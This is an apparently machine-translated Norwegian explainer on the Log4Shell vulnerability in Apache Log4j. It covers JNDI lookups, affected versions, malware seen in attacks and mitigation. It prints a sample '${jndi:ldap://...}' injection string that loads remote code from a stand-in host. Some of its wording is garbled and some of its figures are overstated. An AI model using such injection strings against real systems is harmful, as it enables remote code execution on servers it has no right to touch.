Innholdsfortegnelse[Gjemme seg][Forestilling]
I slutten av november 2021 avdekket vi en stor trussel mot cybersikkerhet. Denne utnyttelsen vil potensielt påvirke millioner av datasystemer over hele verden.
Dette er en guide om Log4j-sårbarheten og hvordan en oversett designfeil gjorde at over 90 % av verdens datatjenester var åpne for angrep.
Apache Log4j er et åpen kildekode Java-basert loggingsverktøy utviklet av Apache Software Foundation. Opprinnelig skrevet av Ceki Gülcü i 2001, er det nå en del av Apache Logging Services, et prosjekt fra Apache Software Foundation.
Bedrifter over hele verden bruker Log4j-biblioteket for å aktivere logging på applikasjonene sine. Faktisk er Java-biblioteket så allestedsnærværende at du kan finne det i applikasjoner fra Amazon, Microsoft, Google og mer.
Bibliotekets fremtredende rolle betyr at enhver potensiell feil i koden kan gjøre millioner av datamaskiner åpne for hacking. 24. november 2021, a sky sikkerhet forsker som jobber for Alibaba oppdaget en forferdelig feil.
Log4j-sårbarheten, også kjent som Log4Shell, har eksistert ubemerket siden 2013. Sikkerhetsproblemet tillot ondsinnede aktører å kjøre kode på berørte systemer som kjører Log4j. Det ble offentliggjort 9. desember 2021
Bransjeeksperter kaller Log4Shell-feilen for største sårbarheten i nyere minne.
I uken etter publiseringen av sårbarheten oppdaget cybersikkerhetsteam millioner av angrep. Noen forskere observerte til og med en hastighet på over hundre angrep per minutt.
Hvordan virker det?
For å forstå hvorfor Log4Shell er så farlig, må vi forstå hva det er i stand til.
Log4Shell-sårbarheten tillater kjøring av vilkårlig kode, som i utgangspunktet betyr at en angriper kan kjøre hvilken som helst kommando eller kode på en målmaskin.
Hvordan oppnår den dette?
Først må vi forstå hva JNDI er.
Java Naming and Directory Interface (JNDI) er en Java-tjeneste som lar Java-programmer oppdage og slå opp data og ressurser via et navn. Disse katalogtjenestene er viktige fordi de gir et organisert sett med poster som utviklere enkelt kan referere til når de oppretter applikasjoner.
JNDI kan bruke forskjellige protokoller for å få tilgang til en bestemt katalog. En av disse protokollene er Lightweight Directory Access Protocol, eller LDAP.
Når du logger en streng, log4j utfører strengerstatninger når de møter uttrykk for formen ${prefix:name}
.
For eksempel, Text: ${java:version}
kan være logget som Tekst: Java versjon 1.8.0_65. Slike erstatninger er vanlige.
Vi kan også ha uttrykk som f.eks Text: ${jndi:ldap://example.com/file}
som bruker JNDI-systemet til å laste et Java-objekt fra en URL gjennom LDAP-protokollen.
Dette laster effektivt dataene som kommer fra den URL-en inn i maskinen. Enhver potensiell hacker kan være vert for ondsinnet kode på en offentlig URL og vente på at maskiner som bruker Log4j logger den.
Siden innholdet i loggmeldinger inneholder brukerkontrollerte data, kan hackere sette inn sine egne JNDI-referanser som peker til LDAP-servere som de kontrollerer. Disse LDAP-serverne kan være fulle av ondsinnede Java-objekter som JNDI kan kjøre gjennom sårbarheten.
Det som gjør dette verre er at det ikke spiller noen rolle om applikasjonen er en server-side eller en klient-side applikasjon.
Så lenge det er en måte for loggeren å lese angriperens skadelige kode, er applikasjonen fortsatt åpen for utnyttelser.
Hvem er berørt?
Sårbarheten påvirker alle systemer og tjenester som bruker APache Log4j, med versjon 2.0 til og med 2.14.1.
Flere sikkerhetseksperter anbefaler at sårbarheten kan påvirke en rekke applikasjoner som bruker Java.
Feilen ble først oppdaget i det Microsoft-eide Minecraft-videospillet. Microsoft har oppfordret brukerne sine til å oppgradere Java-utgaven Minecraft-programvaren for å forhindre enhver risiko.
Jen Easterly, direktøren for Cybersecurity and Infrastructure Security Agency (CISA) sier at leverandører har en stort ansvar for å hindre sluttbrukere fra ondsinnede aktører som utnytter dette sikkerhetsproblemet.
"Leverandører bør også kommunisere med kundene sine for å sikre at sluttbrukerne vet at produktet deres inneholder denne sårbarheten og bør prioritere programvareoppdateringer."
Angrepene skal ha begynt allerede. Symantec, et selskap som leverer cybersikkerhetsprogramvare, har observert et variert antall angrepsforespørsler.
Her er noen eksempler på typene angrep som forskere har oppdaget:
- botnett
Botnett er et nettverk av datamaskiner som er under kontroll av en enkelt angripende part. De hjelper til med å utføre DDoS-angrep, stjele data og annen svindel. Forskere observerte Muhstik-botnettet i skallskript lastet ned fra Log4j-utnyttelsen.
- XMRig Miner Trojan
XMRig er en åpen kildekode-kryptovaluta-gruvearbeider som bruker CPUer til å utvinne Monero-tokenet. Nettkriminelle kan installere XMRig på folks enheter slik at de kan bruke prosessorkraften sin uten deres viten.
- Khonsari Ransomware
Ransomware refererer til en form for skadelig programvare utviklet for kryptere filer på en datamaskin. Angripere kan da kreve betaling mot å gi tilbake tilgang til de krypterte filene. Forskere oppdaget Khonsari-ransomware i Log4Shell-angrep. De retter seg mot Windows-servere og bruker .NET-rammeverket.
Hva skjer videre?
Eksperter spår at det kan ta måneder eller kanskje år å fullstendig fikse kaoset forårsaket av Log4J-sårbarheten.
Denne prosessen innebærer å oppdatere alle berørte systemer med en lappet versjon. Selv om alle disse systemene er lappet, er det fortsatt den truende trusselen om mulige bakdører som hackere allerede kan ha lagt til vinduet der servere var åpne for angrep.
Mange løsninger og avbøtende tiltak eksisterer for å forhindre at applikasjoner blir utnyttet av denne feilen. Den nye Log4j versjon 2.15.0-rc1 endret ulike innstillinger for å redusere dette sikkerhetsproblemet.
Alle funksjoner som bruker JNDI vil bli deaktivert som standard, og eksterne oppslag er også begrenset. Deaktivering av oppslagsfunksjonen på ditt Log4j-oppsett vil bidra til å redusere risikoen for mulige utnyttelser.
Utenfor Log4j er det fortsatt behov for en bredere plan for å forhindre utnyttelse av åpen kildekode.
Tidligere i mai ga Det hvite hus ut en utøvende rekkefølge som hadde som mål å forbedre nasjonal cybersikkerhet. Den inkluderte en bestemmelse for en programvareliste (SBOM) som i hovedsak var et formelt dokument som inneholdt en liste over hvert element som trengs for å bygge applikasjonen.
Dette inkluderer deler som åpen kildekode pakker, avhengigheter og APIer som brukes til utvikling. Selv om ideen om SBOM-er er nyttig for åpenhet, vil det virkelig hjelpe forbrukeren?
Oppgradering av avhengigheter kan være for mye problem. Bedrifter kan bare velge å betale eventuelle bøter i stedet for å risikere å kaste bort ekstra tid på å finne alternative pakker. Kanskje vil disse SBOM-ene bare være nyttige hvis deres omfang er begrenset ytterligere.
konklusjonen
Log4j-problemet er mer enn bare et teknisk problem for organisasjoner.
Bedriftsledere må være klar over potensielle risikoer som kan oppstå når deres servere, produkter eller tjenester er avhengige av kode som de selv ikke vedlikeholder.
Å stole på åpen kildekode og tredjepartsapplikasjoner medfører alltid en viss risiko. Bedrifter bør vurdere å utarbeide risikoreduserende strategier før nye trusler kommer frem.
Mye av nettet er avhengig av åpen kildekode-programvare vedlikeholdt av tusenvis av frivillige over hele verden.
Hvis vi ønsker å holde nettet et trygt sted, bør myndigheter og selskaper investere i finansiering av åpen kildekode-innsats og cybersikkerhetsbyråer som f.eks. CISA.
Legg igjen en kommentar